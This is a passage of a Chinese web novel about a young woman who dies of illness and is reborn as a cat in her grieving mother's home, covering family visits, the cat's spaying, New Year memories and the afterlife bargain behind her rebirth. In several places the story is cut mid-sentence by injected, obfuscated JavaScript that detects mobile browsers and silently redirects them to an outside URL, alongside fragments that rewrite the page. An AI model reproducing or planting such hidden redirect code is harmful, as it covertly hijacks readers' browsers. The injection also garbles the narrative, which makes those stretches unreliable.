没想到这句话让陈女士小小地激动了一下：“我当然知道，我教过的学生留学的也不少，你也太小看你妈了。” 乐萱：“暴露了吧，我现在知道你有存款了，那给我买个包呗，妈咪。” 她使劲地在陈女士颈窝间蹭了蹭，疯狂撒娇。 陈女士嫌弃地推开她：“买包不行。” 乐萱其实也是说着玩儿的，陈女士攒点钱不容易，她哪能如此不懂事。 乐萱：“你还不知道我？我从小就不爱学习，好不容易毕业了还让我读书，不如去死。” 她挨了一脑门：“你这孩子别整天把死挂嘴上，知不知道避谶？” 乐萱“切”：“说两句就死了，哪有那么容易。” 她抱住陈女士的手臂，紧紧地贴着她：“妈，别担心我，男人都差不多，谈到最后都会变的。但妈妈会永远爱我，所以我要一直待在你身边，哪都不去。” 陈女士虽然笑着，但嘴十分硬：“那可不行，我还指望你嫁出去让我耳根子清净一点呢。” 现在的乐萱有时候也想问问陈女士，如果知道是这样的结果，那时候还会不会嘴硬呢。 那晚，时间走到十点时，陈女士起身打了个哈欠：“我先睡了，你早点睡。” 可乐萱一晚无眠。 自从爸爸不在了之后，母女俩好像形成了一种默契，那就是学会了在对方面前装坚强。 毕竟是三年的感情，哪有那么快放下。 她十点才起床，而陈女士居然端端正正地坐在客厅。 乐萱吓了一跳，她没想让陈女士看到她狼狈的样子：“你怎么没去上班？” 陈女士：“我没早课。” 乐萱知道这只是她的借口，平日里就算没早课，她也会按时到学校批改作业准备教案。 陈女士看着她，叹了口气：“你看你的眼睛跟挂了两大灯泡似的。” 乐萱也嘴硬：“我可没哭，就是做了个梦。” 陈女士：“你做没做梦我不知道，我可是做了一晚上的梦，梦见咱家有人哭了一晚上，那声音，不知道的还以为咱家有女鬼呢。” 乐萱撅嘴：“妈！你就别开玩笑了。” 陈女士笑了，指了指桌上的包装袋：“哭饿了吧，快吃吧，可能已经凉了。” 她给乐萱买了最爱吃的板栗酥，那家店生意爆火，通常在早上十点前就卖空了。 “你吃吧，我去上班了。” 陈女士还不知道，她那天是抹着眼泪吃完的。 ...... 回忆结束，小猫乐萱听见眼前的裴昭说。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094626|163695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “阿姨，萱萱对我的影响很深。”说这话的时候他终于笑了，“她就像小太阳一样。” 好哇！ 居然在死了之后能听见裴昭夸她一句小太阳。 他以前是怎么说的来着“萱萱你真不讲理”“萱萱，小声一点。”“萱萱，别闹了。” 现在知道她的好了吧，后悔了吧！ 她现在可当不成小太阳了，她现在是小猫，是块蓬松柔软的金黄小面包。 小猫乐萱夸起自己来还挺害羞，不要猫脸的感觉不错。 裴昭走的时候说：“阿姨，你有需要帮忙的随时联系我，千万别客气。” 陈女士：“好的，谢谢你小裴。” 乐萱：喵喵喵（放心吧，她肯定会客气的。） 裴昭还以为小猫在和他打招呼，也回了个再见：“拜拜小猫咪。” 乐萱：你还挺有礼貌的。 下午，居然又有人来家里。 这是在干什么，排队拜访吗？ 看见来人是谁之后，乐萱收回刚刚那句不礼貌的话。 是她最好的朋友张小果，乐萱赶紧撒娇三连：蹭腿，摇尾巴，倒地翻肚皮。 乐萱：喵喵喵（小果，我好想你！） 张小果是个资深猫奴，家里有八只猫，她还给乐萱带了一些吃的和营养品。 “阿姨，这个是鱼油，每天挤在猫粮里给她吃，掉毛的情况会好很多，这个是猫草片，也是化毛的......” 陈女士：“小果，拜托你跑一趟已经很不好意思了，你还带东西干嘛，你把这些告诉阿姨，阿姨自己在网上买了就是。” 小果：“没事的，阿姨，这些又不贵，我双十一的时候买的，我家猫多，囤的太多，顺便给你拿的，放心吧没多花钱。” 原来是陈女士特意叫小果来的。 小果把她抱起来仔细检查了一番，乐萱就明白了陈女士叫她来一趟的用意。 小果：“阿姨，二宝看起来没什么问题，耳朵也很干净。” 乐萱自豪地扬起了猫猫头。 小果：“就是有点胖了。” 乐萱：......张小果这句大可不必。 “阿姨您得控制下她的饭量，长太胖会心肌肥厚。” 乐萱：喵喵喵（本咪已经开始减肥了。） 陈女士：“那我明天开始给她少放点粮。” 张小果蹲下来撸乐萱。 “阿姨，你这只猫还是金渐层呢。” 陈女士疑惑：“什么千层？” 她的表情写着“千层不是蛋糕吗”。 张小果耐心解释：“英短金渐层，是宠物猫的品种之一，还挺贵的。” 陈女士恍然大悟：“我还以为这就是只黄猫呢。” 小果：“不是买的吗？” 陈女士：“不是，是捡的。” 就说嘛，陈女士根本不了解猫，只知道黑猫白猫花猫，胖猫瘦猫丑猫，哪里认识什么金渐层，搞了半天是捡回来的。 陈女士可真是捡猫圣体，一捡就捡了个金渐层，这谁看了不羡慕。 小的时候，陈女士老开玩笑说是在垃圾桶旁边捡的她，这下好了吧，梦想成真了，真把她捡回家了。 小果也走到乐萱的照片前，将眼泪忍了又忍。 乐萱看见她动了动嘴，没发出声音来。 口型是“好想你啊，乐萱。” 乐萱跑过去贴着她的腿，蹭了蹭：喵喵喵（别难过啦，我在这儿呢，变成了你最喜欢的猫猫。） 她去世，最难过的除了陈女士，就是张小果。 她在墓碑前哭晕了过去，不是夸张，是真的被送进了医院。 乐萱还是阿飘的时候，在她的病床前，紧紧地握住她的手，安慰她，小果，没事的，我去世的时候一点都不痛。 可是小果感觉不到。 乐萱还不忘叮嘱她：虽然我死了，但我还是要提醒你，赶紧跟渣男分手，听见没，你想让我做鬼都惦记着你这恋爱脑？ 后来她去忙投胎的事儿，不能再在人间瞎晃悠，不知道小果分手没。 还是陈女士帮她问出口的：“怎么没带男朋友来？” 张小果眼神躲闪：“阿姨，分手了。” 小猫乐萱突然跳了起来。 陈女士：“她分手你激动什么？” 乐萱：喵喵喵（张小果，你早该分了，非得等我死了才分是吧。） “哦对了，阿姨，您别忘了得给二宝绝育。” 乐萱：喵喵喵喵喵（张小果，你不愧是我的好闺闺啊，自己失恋，也得让姐妹失去找男猫的快乐。） “阿姨，这个给你。”张小果忽然从包里拿出一个东西递给陈女士。 是本相册。 陈女士推了下眼镜，接过相册时，手不自觉地颤抖。 “这是......” “阿姨，这里面有很多乐萱的照片。” 陈女士泪目：“那你呢？” 她知道，小果也很想乐萱。 “我想，您应该更需要它。”张小果含泪笑着，指了下手机，“而且我已经备份好了。” 时间到了，张小果也要走了。 “阿姨，你有什么关于猫的问题，或者其他事，随时给我发微信。” 每个人来看望陈女士，离开之前说的都是差不多意思的话—— 有需要帮忙的，千万别客气。 因为他们都清楚，这个家，只剩陈女士孤零零的一个人。 4. 4 乐萱知道妈妈记住了绝育的事，但没想到会这么快。 陈女士正式放寒假的第一天，就带她去了宠物医院。当乐萱被塞进猫包的那一刻，内心是有点绝望的。 前世对于医院的记忆太过压抑，现在哪怕是只猫猫，听见医院两个字，也是猫毛乍起。 她试图用凄惨的嚎叫来唤醒陈女士的母爱，谁知陈女士以为她是害怕再次被抛弃，安慰她：“放心，我们就去医院做个小手术，很快就回来哦，外婆不会丢了你的。” 乐萱：喵喵喵喵喵（呜呜呜，我知道你不会丢下我，我只是不想开刀） 在车上，乐萱叫得厉害，陈女士只得把猫包打开，让她探出小脑袋来。乐萱很焦虑，呼吸急促，一双眼睛湿漉漉地看着她。 陈女士一下子心软，眼眶微红：“乐萱，没事的，做完手术就好了，咱不怕。” 说完，陈女士才意识到自己叫错了名字。 她装作什么都没发生的样子：“二宝，不怕啊，外婆在呢。” 乐萱知道她为什么突然叫错名字。之前她住院的时候，就是用这副表情，茫然无措地看着陈女士。 和她斗了二十几年嘴的陈女士，难得用最温柔的语气地哄她：“乐萱，再坚持一下，妈妈就带你回家。妈妈在这儿呢，你不会有事的，不怕啊......” 其实那个时候，陈女士也不知道最后的结果，只是因为她是妈妈，所以她要撑住，她一旦泄气，孩子的希望也就没了。 乐萱的猫脑袋正回忆着，陈女士突然拿出一张湿巾，擦了擦她的眼睛。 “有眼屎。” 乐萱：陈女士还真是无时无刻都在维持猫咪的形象。 到了医院，医生第一句话就是：“您家猫猫有点胖。” 乐萱：喵喵喵（我胖不胖自己看不出来吗，每个人都要来提醒一遍，哼。） 医生：“没绝育的母猫里很少见到这么胖的。” 乐萱：喵喵喵（怎么还补刀呢！） 医生：“绝育麻醉还是会有一定风险的，胖猫风险相对更大一点。” 陈女士神色一下子慌张了：“那怎么办？” 医生：“您在网上预约的手术不包括术前检查，您看需不需要加一个体检套餐？” 医生说了一堆专业用词，陈女士也听不太明白，只说做吧，就当全身体检了。 医生：“那这个费用就会多一倍，我们不会强制您消费，所以要给您讲清楚。” 陈女士只看了眼价格，头点得格外坚定。 当小猫进医院的感觉很不同，她被护士姐姐抱去做检查，每个人都是夹着声音对她说话的，温柔地摸摸她的猫猫头说，没事别怕。 而且陈女士也没有走开，乐萱隐隐地听见她在外面着急地问：“医生，还要多久呀？” 医生：“还要一会儿呢，您可以出去逛逛，我们等下打电话叫您回来。” 陈女士：“不不，我在这儿等就行了。” 她怕一离开，会出什么事儿。 乐萱心酸酸的，原来进医院不仅是她焦虑，陈女士也还没有完全摆脱阴影。 检查结果出来，一切正常，就是胖了点。 接下来就是绝育。 虽然体检没有异常，但医生还是拿出来一份责任书让陈女士签名，并且给她讲了下风险，大概就是部分猫会有麻醉休克的反应。 陈女士认真看了一遍责任书，问医生：“那要是不绝育会怎么样？” 医生：“不绝育会有生病的风险，特别是子宫蓄脓，而且母猫无论是发情还是配.种过程都很痛苦，大多数时候还是建议绝育。” “发情的状态下，还有可能会跑出去走丢。” 那张责任书上，很多写出来的风险，遇上的概率小到可以忽略不计，但医院为了保险还是都列了出来，陈女士却反复看了很久。 连医生都忍不住提醒：“您看没问题的话，我们可以准备开始手术了。” 乐萱知道她的顾虑。 陈女士一辈子都在做这样的抉择，该不该签字，要不要冒着风险换一条命。 这次或许是她类似经历中最轻的一次，但她还是犹豫了。 最后，她签下了自己的名字。作为一名资深的老师，陈女士的字漂亮大气，完全看不出来她签字时的紧张和犹豫。 从乐萱上手术台开始，陈女士就开始坐立不安，护士看出了她的紧张，帮她倒了杯热水：“没事的家长，绝育是很小的手术。” 陈女士点头说谢谢，然后开始一杯杯地喝水，差点把人家医院喝成干旱。 不知道过了多久，医生终于出来了：“手术没什么问题，她现在麻醉还没醒，您可以去看看她。” 乐萱躺在保温箱里，晕乎乎的，脑子不太清醒：我在哪，我在干嘛，我怎么是一只猫？？ 陈女士本来忧心忡忡的，看见乐萱躺在保温箱里，吐舌翻白眼的囧样，没忍住笑出了声，还拿出手机来拍照留念。 乐萱：陈女士你怎么这样，看我回去抓烂你的沙发！ 医生还拿来手术取出来的子宫给陈女士看。 陈女士惊讶：“这么小，像个鸭锁骨。” 医生被她的形容逗笑：“她这个是正常大小。” 陈女士连连摇头：“还好没让她生，这多遭罪呀。” 医生说了些注意事项：要按时吃消炎药，肚子上的毛被剃了注意保暖，伊丽莎白圈要戴好，千万不要让她舔到伤口之类的。 回到家后，乐萱脖子上戴着“刑具”，再加上折腾了一天，挺累的，趴在沙发上不肯动。 陈女士担忧地问：“二宝你怎么了，是伤口痛吗？” 乐萱：喵喵喵（现在还没有痛，就是有点困。） 陈女士：“是不是给你绝育你不高兴呀？这是好事呀，以后你就可以一直当小女孩了。” 乐萱听见这话，耳朵动了动，尾巴疯狂摇。 她以前经常赖在陈女士肩膀上，娇嗔地说：“我不要结婚，也不要生孩子，我要一直当个小女孩，没有烦恼的小女孩。” 当人没实现，当猫，妈妈帮她实现了，她就是世界上最幸福的小猫。 - 转眼就到了过年。 之前没想到会绝育，所以陈女士只织了围巾。现在乐萱的肚子上没有毛，陈女士怕她着凉，又织了件红毛衣。 她绝育的伤口已经恢复，陈女士给她穿上毛衣，笑得不行：“好像有点小了。” 乐萱：喵喵喵（绝对不是因为我胖，是衣服小了。） 陈女士根本不顾她被挤得难受，拿出手机来咔咔拍照，拍完也不管她，忙着在手机上戳呀戳。 乐萱好奇地走过去，想看看她在干嘛。 陈女士在编辑一条朋友圈，附上来小猫乐萱的大头照。 乐萱：她脑袋有这么大吗，陈女士这是什么死亡角度，她还要不要猫脸了！ 她试图用猫爪阻拦陈女士把这条朋友圈发出去，可已经来不及了。 「看我家二宝像不像个大番茄！」 乐萱揣着猫爪，一脸不高兴。 不过她看着陈女士笑得开心，正热情地回复着夸小猫可爱的评论，乐萱：算了，番茄就番茄吧，她开心的话，说她是什么都行。 以前乐萱就老是拒绝陈女士在朋友圈发她，因为她总是会被拍得奇形怪状，更是将她的素颜照暴露出去，乐萱撒泼打滚地叫她删掉。 现在想想，只是因为，自己在陈女士的眼里一直是可爱的，不需要修饰就很漂亮。 大年三十，陈女士要去小姨家吃饭。 原本以为她吃完年夜饭，会打会儿麻将才回来，没想到春晚差一分钟开始，陈女士打开了门。 “二宝！外婆回来了。” 乐萱穿着红毛衣，像只灯笼一样飘到陈女士脚边。 对，这件毛衣已经被她穿松了，现在活动特别自由无阻。 陈女士还带了副猫 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15094627|163695||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 咪春联回来贴在她的猫窝上：猫肥家润，毛顺屎圆，横批：人喵共旺。 乐萱兴奋地转了两圈：喵喵喵（好可爱的春联，本咪很喜欢！） 陈女士摸她脑袋：“外婆去给你做年夜饭。” 说完就去了厨房。 乐萱：喵喵喵（别做了妈，春晚快开始了。） 陈女士：“饿了？没那么快做好，等外婆一会儿。” 过了一会儿陈女士端出来蒸好的肉圆，还加了蛋黄和鱼油。乐萱闻了闻，好像嗅到了猪肝的味道。 好像大部分小猫都爱吃动物肝脏，是天然诱食剂，但乐萱不爱吃，当人的时候不喜欢，当猫了依旧讨厌这个味道。 乐萱：喵喵喵（妈我最讨厌吃猪肝了。） 陈女士：“你怎么不吃？牛肉和鸡肉都是你爱吃的，今天就多加了猪肝，你不喜欢吗？ 她小声嘀咕着：“怎么跟乐萱一样，不爱吃肝。” 陈女士依然没有放弃劝她吃：“这是补血的，你得吃一点。” 乐萱别过猫脑袋：喵喵喵（就不吃。） 陈女士只得放弃：“算了，不吃就不吃吧，外婆给你开个罐头。” 乐萱跳起来：你以前可不是这样对我的！区别对待！ 特别是小的时候，陈女士总会板着一张脸叫她把猪肝吃完，不吃完就不能去玩儿。小乐萱边吃边yue，脸涨得通红。 再大一点，她会拿一张纸，趁妈妈不注意，把猪肝吐在里面包起来假装是用过的卫生纸。 早上去上学，如果陈女士准备了她不爱吃的，她也会在路上偷偷丢掉，然后去小卖部买面包。 陈女士总是疑惑，她的零花钱怎么花得那么快。 那时候她根本不理解为什么妈妈总是强调这是“对你好”，明明她一点也不喜欢。后来长大也依旧抵触这三个字。这简单的三个字，引发过不少争吵。 但当她漂浮在人世间，能目视一切，却无法触碰的时候，她也会想，如果当时听妈妈的话，认真吃饭，早点睡觉，会不会变得更健康一点呢。 陈女士一边把罐头倒在盘子里，一边碎碎念：“不喜欢吃我们就不吃，活着开心最重要。” 乐萱把头埋在盘子里，猫猫泪拌着罐头吃了下去。 她忽然觉得，陈女士这样做好像是让自己心安一点。 当她在后悔没有听妈妈的话，妈妈也内疚在她短短的人生里强迫她做了太多不爱做的事。 陈女士抱着她看春晚。 乐萱已经好多年没有认真看过春晚，总是抱着手机聊天抢红包看热搜，只有那一年不同。 过年前两天，母女俩在医院收拾好东西回家，两人的表情都很沉重。 乐萱奇怪，明明住了那么久的院，可最后带走的东西一口袋就能装完。 那是最压抑的一顿年夜饭，乐萱其实已经不太吃得下东西，却还是逞强地往嘴里硬塞。妈妈明明心理和身体上的压力也到了极限，但还是强颜欢笑着逗她开心。 那天春晚开始，乐萱没有玩手机，只是呆呆地盯着屏幕，什么都不做，什么都没想。 直到听见《是妈妈是女儿》这首歌。 乐萱嘴一撅，毫无征兆地抱着妈妈号啕大哭： “妈，怎么办，医生说我没救了，我不想死，我还不想死啊......” “妈，我不要离开你，我不要死.......” 乐萱失去了组织语言的能力，只会说“我不想死”。 她是真的不想死。 这世上还有太多事物她没探索，她还有好多好多地方想去。 而且她死了，妈妈怎么办，她就只有一个人了。 她不想死。 陈女士抱着她，像一座山，虽然没有发出声音，但乐萱知道她一定也无声地掉了许多眼泪。 哭过之后，陈女士拍了拍她的头： “走吧，去收拾东西。” “明天，我们就转院。” 5. 5 电视上放着春晚，陈女士拿过来小果带来的那本相册。 从小果拿来的那天，到现在，这还是陈女士第一次打开它。 乐萱知道，她是不敢看。 小果从初中就认识乐萱，两人高中也在一个学校，大部分照片都是与校园有关和平时玩闹的记录，很多陈女士都没有见过。 小猫乐萱看见初中时，留着厚刘海戴着黑框眼镜，对着镜头四十五度比耶的自己，咬紧了猫猫牙。 偏偏这照片上还有她当年偷偷用电脑精心p上去的一排字：对卟起、我还愛着你。 乐萱尖叫：喵喵喵喵喵（啊啊啊妈你别看了，死张小果怎么什么照片都拿出来！） 陈女士明显也愣住，凑近了仔细看那张照片，不太自信地念了出来：“对不起，我还爱着你？” 她自言自语：“这丫头还背着我早恋过？” 乐萱：喵喵喵喵喵（没有！绝对没有！只是当时嘴上流行爱来爱去的。） 陈女士见乐萱喵喵叫，便拉着她一起看照片。 她指着穿校服的乐萱介绍：“二宝，这个是大宝，是你的姐姐，漂亮吧？” 乐萱：喵喵喵（漂亮啊漂亮。） 等等。 这个辈分是不是乱了？ 陈女士摸着她的脑袋继续说：“她叫乐萱，乐萱是大宝，你是二宝。” 乐萱：喵喵喵喵喵（妈，二宝也是我呀，我又回到你身边了。） 陈女士：“你问怎么没在家里见过她？她去了很远的地方，变成了星星。” 乐萱愣住，眼睛暖暖的。 妈妈没有把她仅仅当成一只小猫咪，她把她当成小孩。 就像小时候，爷爷去世，她问妈妈什么是死？ 妈妈说，就是变成了星星。 在乐萱还不识字的时候，妈妈总叫她大宝，可后来青春期，乐萱渐渐开始抗拒：“谁家好姑娘叫大宝啊。” 陈女士从那之后便很少叫她大宝了。 照片一页页地翻走，陈女士哭了又笑，难得地说了很多话，大部分是在夸乐萱聪明漂亮又可爱。 其实这些天来，乐萱很少听起陈女士提起她的名字，也几乎没有看见她情绪大起大落过，她还是三点一线的生活，要说变化，无非就是吃得简单了，和多了一只猫要照顾。 哦，还有乐萱照片前永远不会枯萎的鲜花。 照片停在乐萱高中时期，陈女士停下来很久，最后捂着脸，眼泪从指缝中滑落。 乐萱用猫爪轻轻地拍了下她：喵喵喵（妈，别哭，过年呢，我在你身边陪你过年呢。） 乐萱清楚看见高中时候的她，陈女士为什么这么难过。 她们母女关系也不总是好的，有一段时间甚至可以说是很糟糕。 快中考的那段时间，爸爸因为意外突然去世，陈女士也突然变了个人，变得偏执，总想要牢牢抓住她，掌控她的一切，连她每天吃煮鸡蛋还是煎鸡蛋都要管。乐萱觉得窒息。他们那时候中考是考试前报志愿，在学校的机房里，乐萱偷偷报了另一所高中，与母亲任职的学校分别在城市的两端。 陈女士暴怒：“李乐萱，你现在学会不和我商量就做决定了是吗？！！” 母女俩大吵一架，之后就是长时间的冷战。 是乐萱主动缓和关系的，但她不是一味地屈服。暑假的末尾，她写下了一串电话号码，递给陈女士。 “妈妈，你只是病了，我们去看看吧。” “这是我们这里最好的心理医生的电话。” 陈女士抬起头，诧异地看着她，乐萱解释：“只是生病而已，因为生病，你才会发脾气，妈妈，如果你没有生病，也不会怪我做了自己的选择，对吗？” 陈女士“哇”地哭出了声。 女儿在最叛逆的年纪，试图理解性情大变的她。 她选择让女儿牵着她的手，一起去医院找到解药。 很多年后，也是两人牵着彼此，抱着一团小小的行李，奔波转院，这家医院治不了，我们就换一家。 这里治不了，我们就换个地方。 熬过换季，挺过新年，身上的行李越来越少，手里的检查单越来越厚。 那次，她们最终没有找到解药。 不过现在，乐萱觉得命运多少还是公平的。 她变成了小猫重回到了妈妈身边，多少鬼都没这个运气呢。 只是妈妈不知道而已。 陈女士合上了这本相册，拿出拍立得。 是乐萱以前的拍立得，上面贴着卡通贴纸，许多都是小猫。 “二宝，我们来拍张新年照片。” 陈女士的头紧紧贴上了她的猫猫头，比了个大大的“耶”。 乐萱很想配合她做手势，可她现在是只猫，能做的就是回贴着陈女士，再努力地睁大眼睛。 咔嚓一张。 照片里的她穿着红毛衣，头圆圆的，陈女士还夸她表现得好，要给她吃猫条。 陈女士拿过来另外一本相册，是乐萱生前做的拍立得相册，有几页是专门拿来放过年的合照，快放满了。 唯独缺了2024 2023年照片上的她，也是穿着妈妈织的红毛衣，不过 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“这辈子咱还是当只乖乖的小猫，下辈子，咱当个漂亮姑娘噢。” 乐萱埋下猫猫头，很想哭。 可是妈妈，我做不了人了。 * 当人啊，就算是过年，也还是得睡觉。 可是，当猫不用。 当喧嚣散尽，夜深人静的时候，小猫乐萱总觉得这屋里阴嗖嗖的。 不该啊，今天不是过年吗。 突然，有个人飘在半空中，把乐萱吓了一跳。 准确来说应该是只鬼。 他高高在上，看着瑟瑟发抖的乐萱，说：“李乐萱，我是来提醒你，时间差不多快到了，你自己做好准备。” 乐萱：喵喵喵喵喵（你是谁，我叫陈二宝，不是李乐萱。） 他能听懂猫语：“别装了，我知道你已经想起来了。” 6. 6 好吧，我确实是装的。 是时候重新介绍下自己了。我叫李乐萱，生于1998年，死于2023年。没错，上辈子是个倒霉蛋，考上了自认为还算不错的学校，找到了份心仪的工作，属于我自己的人生才刚刚开始，可人就没了。 眼前这个穿着西装鬼模鬼样的大块头是负责我投胎一事的专员，没想到吧，死后的服务这么周到，全程一对一，想躲都躲不了。 生前偶尔会幻想死后的世界是什么样的，现在我可以回答了，死后的鬼生和人生，其实也差不多，卷的鬼在抢投胎名额，有怨气的阿飘在人间闯祸，到处躲避鬼警的追捕。躺平的鬼呢干脆在阴间找个糊口的工作，当鬼的娱乐生活没那么丰富，再加上大部分鬼都有阳间家人的补贴，赚多少都够用。 我生前超级摆烂，做过最努力的事就是高考和与病魔抗争，到了这里，却变身了令方圆百里的鬼都闻风丧胆的卷王。 投胎的时候，冲击力太强，我这副身体本来就弱，再加上日夜为投胎而奋斗，扛不住冲击，一不小心忘了我为什么会投胎成一只小猫。 我还以为是我运气好呢，不仅变成了喜欢的小猫，还是妈妈的小猫。 结果，我还是和以前一样，没有莫名其妙的好运气，这一切都是我自己做的选择，是交换而来的。 大块头说：“李乐萱，还有一周时间，抓紧吧。” 我撅了撅嘴：“行了行了，知道了，你快走吧。” 原来当猫的一个月也这么快。 大块头走之前，怜悯地看了我一眼。 等等，那个大魔头居然还有同情心！！ 我可没忘了为了投胎的事儿，我和他掰扯了多久。 * 功夫不负苦心鬼，在长久坚持不懈的努力下，我成了片区积分第一，顺利拿到了优先投胎的名额。 来到投胎办，接待我的就是那个大块头。 他很冷漠：“你是第一，可以提要求。” 我：“也没什么别的要求，就唯一一个，我想回到我妈妈身边去。” 大块头没抬头，非常淡定，好像对这个要求并不奇怪。 也是，可能大家都想回到自己妈妈身边去。 他在电脑上噼里啪啦地操作一番，最后公式化地我说：“抱歉，你妈妈这一世已经没有了生育机会。” 我着急：“我又没说要变成人，而且我妈那么大年龄了，你觉得我忍心让她再怀孕？” 大块头皱了下眉：“请你小声一点。” 我抱胸不满：“算了，跟一只鬼说了也不懂。” 大块头抬起头，上下打量着我，眼神说，你不也是鬼？ 他又在电脑上一番操作：“不好意思啊，上面给你的指标还是投胎成人。” 我：“我自愿放弃还不行？” 他板着脸：“不行，现在人间生育率低，多少灵魂想投胎成人都排不上队，你还要放弃？” 我：“当人这么好，你怎么不当？还不是在这当打工鬼。” 那个时候我低估了他，以为他只是个平凡的阴间牛马而已。 大块头紧皱着眉头盯着电脑屏幕，沉默了一会儿后，问：“那你想变成什么？” 我：“只要让我回到妈妈身边就行，拜托拜托，我等不及到下辈子了。” 大块头叹气：“可我这里显示，你妈妈并不想要你回到她身边，并多次去寺庙上香，希望你今后每一世都健康幸福，就是不要再回到她身边。” 我愣住，淡然地笑了笑：“你们这破电脑能查的东西还挺多。” 我知道她为什么这样想。 她觉得自己克我。 以前，有人背地里说她克夫，被我揍了，她那个时候还教育我说干嘛那么在乎别人的看法，可后来连她自己都信了。 如果我会不健康的话，她宁愿我不要成为她的女儿。 哼，这小老太，明明我闭眼前，她还哄着我说“来世我们再做母女”，原来她心里已经有了打算。 我忍住眼泪：“可是她更希望我能成为有主见的孩子，所以我自己选。” 我：“你肯定有办法的吧？” 大块头终于松了嘴：“有是有，不过......” “我愿意。”我打断了他的话，我知道他接下来要说附加条件，“我都愿意。” 大块头：“第一个条件是，你永远不能再投胎为人类了。” 我“切”：“这算什么，当人也没那么好啊。还有什么条件？” 大块头：第二个条件，你转世后会拥有一个月前世的记忆，到期后所有有关前世的记忆会被抹去，你的灵魂将会和投胎之物合二为一，彻底融为一体。” 我拍桌叫绝：“这不是好事吗，还给我认出妈妈的机会，而且我就能永远留在妈妈身边了。” 大块头无奈地摇了摇头。作为一只上了百岁的鬼，他应该见多了我这样的新鬼，傻得天真，把什么事情想得都很简单。 大块头：“那种失去的感觉你还要体会第二次？” 我：“没有失去啊，我不还是在妈妈身边吗，过去的记忆很美好，可开始新的也不错啊。我就问你，我投胎诉求的核心不就是回到她身边去吗，只要这一项完成就好了呀。” 我：“而且这一个月的时间，我还能看看她过得怎么样。” 大块头说不过我，他拿出一张表来，让我填：“先填一下你想投胎成什么，我再看下有没有名额。还剩一个条件，等下再说。” 这大块头还神神秘秘的。 我接过表来，嘟囔着：“怎么投胎也要填志愿。” 但我还是很认真地写，以至于这张纸都快写不下了。大块头瞄了眼我密密麻麻的表格，很是无语：“你妈妈应该不愿意你变成她的头发。” 他说：“我给你个建议吧，你妈妈家里有没有人类现在流行的ai智能屏或者智能电视之类的，你投胎过去，还能和你妈妈对上话。” 我尖叫：“你不觉得这很吓人吗？” “你变成头发就不吓人了？”大块头说，“而且我逗你的，我们还没开发这项业务。” 我：“你是不是有病，谁有功夫跟你开玩笑呢？” “而且这不填志愿嘛，头发只是我垫底的选择，当头发多容易掉啊，一不小心就被冲进下水道了。我还是想当只小猫。” 大块头：“这里显示你妈妈并不喜欢宠物。” 我：“你们什么破系统，连人隐私都能查到。” 机器都是冰冷的，我的妈妈我自己最了解：“她会心软的。” 我曾经撞见她偷偷喂楼下流浪猫，她还说，反正剩着也是浪费。可那明明是新煮的鸡胸肉。 我：“只要让我不经意地出现在她面前，我撒撒娇卖卖惨，她肯定会心软的。” 大块头：....... “你确定？” “当然！” 我：“我还有一个小小的请求，可不可以让我变成一只漂亮的小猫，最好是品种猫，我不是歧视田园猫哈，田园猫我也喜欢，只不过我就是想长得好看一点而已嘛，不过分吧？” 大块头的表情不妙，我感觉他已经没了耐心想把我轰走，我赶紧说：“算了算了，我让步，什么小猫都行，别太丑就好。” 大块头：“还剩一个条件，你讲一下，为什么执意回到你妈妈身边，如果能说服我，我就给你通过。” 我不明白，这还需要讲吗，她是我妈妈，谁不希望回到妈妈身边？ * 我和陈女士是世界上再普通不过的一对母女，非要说哪里不同，那就是我们比较倒霉，她没了老公，我没了爸。 不过日子还要过下去，母女俩相依为命，日子过得不算差。 你只给我十分钟的时间，那我就说一些让我印象深刻的事儿吧，从小时候说起来根本说不完。 我爸爸走了之后，我上高中，被讨厌的男生骚扰，他好像以为我没了爸，就可以随便被欺负。那可太小瞧我了，从小别人学舞蹈画画，我学武术，虽然也只是业余的，可这个时候也能派上点用场，我一拳头就把他打得鼻血横飞。 就是难免不了被请家长。 老师嘛，肯定还是站在天平的中间，让两人都反省，我理解她，我妈也是同行，面对那么多学生，难免顾不上。 可我有点害怕陈女士。 这个家没了爸爸，她就得又当爸又当妈，还得管着百来个学生，我被请家长她肯定头疼死了。 说不定还会让我转到她的学校，在她眼皮子底下安生一点。 虽然我平时算不上多乖巧，但我在学校也从来没被叫家长，不想给陈女士添麻烦，这还是第一次。 果然，陈女士来的时候，脸像锅底一样黑。 我已经做好了挨批评的准备。 可她先是将我全身上下检查了一遍，问我：“有没有哪里受伤？” 我摇了摇头，指了指对面那个男生：“他受伤了。” “他活该！”我没想到陈女士暴言，“你不打他我也要打他！” 我愣住，天呐，这还是陈女士吗？ 她作为一名老师，平时最不推崇用暴力解决问题。 对面的家长当然也不爽，扯着喉咙冲了上来：“你说谁活该呢？我家孩子被打了，你们不道歉就算了还骂我儿子？” 陈女士进入战斗状态，昂首挺胸的，直逼对方：“我不仅骂他，我还骂你呢，教出来个臭流氓，不要脸的东西！” 对面作势就要上来薅她的头发，我挡在了前面，几人扭打在一团，场面一度混乱。 这场混战的结局是被办公室的老师们给拉开，不过我妈的眼镜碎了一只。 我妈坚持要对方公开道歉，不仅要道歉，还要说“我对不起，我是流氓，我性骚扰了李乐萱.......” 